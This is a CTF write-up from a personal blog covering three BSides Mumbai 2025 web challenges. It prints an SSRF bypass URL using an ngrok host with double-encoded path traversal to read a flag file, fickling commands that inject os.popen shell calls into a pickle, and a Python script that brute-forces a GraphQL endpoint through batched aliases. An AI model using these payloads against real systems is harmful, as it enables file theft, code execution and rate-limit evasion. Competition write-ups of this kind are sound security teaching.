rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

CTF-: BSIDESCTF MUMBAI 2025


image


Challenges



[Web]Phantom Binding


image


image

image

image

image

google.com@127.0.0.1

image



<!DOCTYPE html>
<html>
<head>
    <title>CTF Challenge</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 20px;
            background-color: #f5f5f5;
        }
        .container {
            max-width: 800px;
            margin: 0 auto;
            background-color: #fff;
            padding: 20px;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0,0,0,0.1);
        }
        h1 {
            color: #333;
        }
        .error {
            color: red;
            margin-bottom: 10px;
        }
        .success {
            color: green;
            margin-bottom: 10px;
        }
        input[type="text"], input[type="password"], input[type="file"] {
            width: 100%;
            padding: 10px;
            margin-bottom: 10px;
            border: 1px solid #ddd;
        }
        .user-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 20px;
        }
        .user-table th, .user-table td {
            padding: 8px;
            border: 1px solid #ddd;
            text-align: left;
        }
        .user-table th {
            background-color: #f2f2f2;
        }
    </style>
</head>
<body>
    <div class="container">
        
    <h1>Login</h1>
    
    <form method="post">
        <input type="text" name="username" placeholder="Username" required>
        <input type="password" name="password" placeholder="Password" required>
        <button type="submit">Login</button>
    </form>
    <p>Don't have an account? <a href="/register">Register here</a></p>

    </div>
</body>
</html>

image

image

image

image

image

image

http://6.tcp.eu.ngrok.io:16967@127.0.0.1/admin/view_file?file=%252E%252E%252F%252E%252E%252Fvar%252Fflag%252Fflag.txt

image

image


[Web]Worthless


image


image

image

fickling --inject "int(__import__('os').popen('ls').read())" portfolio.pkl > ./portfolioz.pkl

image

image

image

image

fickling --inject "int(__import__('os').popen('cat flag.txt').read())" portfolio.pkl > ./portfolioz.pkl

image


Operation Overflow


image

// GraphQL query
            const query = `
                query {
                    guessNumber(number: ${number}) {
                        correct
                        message
                        flag
                    }
                }
            `;
            
            fetch('/graphql', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({ query }),
            })

-> Query -:

query {
     guessNumber(number: 10) {
         correct
         message
         flag
      }
   }

-> Alias should have different name values,you’ll notice that the first name is first2 and the other is first1 -:

query {
   first1: guessNumber(number: 10) {
     correct
     message
     flag
   }
   first12: guessNumber(number: 11) {
     correct
     message
     flag
   }
}
#! /usr/bin/env python3
import requests
import asyncio

pre_data = "query {\n  me: guessNumber(number: 100000) {\n    correct\n    message\n    flag\n  }"
end_data = "}\n\n"

async def createData(min: int,max: int) -> str:
    main_data = "" + pre_data
    for i in range(min-1,max):
        data = "\nmezz: guessNumber(number: zz) {\n    correct\n    message\n    flag\n  }\n".replace("zz",str(i))
        main_data += data 
    return main_data + end_data

async def main():
    for i in range(0,100000,5000):
        data = {"query":await createData(i,i+5000)}
        url = "https://abfb9883.bsidesmumbai.in/graphql"
        data = requests.post(url,json=data)
        if "BMCTF" in data.text:
            print(f"[+] Range-:{i}:{i+5000}")
            print("[+] Flag-: BMCTF{"+data.text.split("BMCTF{")[1].split("\"")[0])
            exit()
        else:
            print(f"[-] Not in range-:{i}:{i+5000}")

if __name__ == "__main__":
    asyncio.run(main())

image


Reference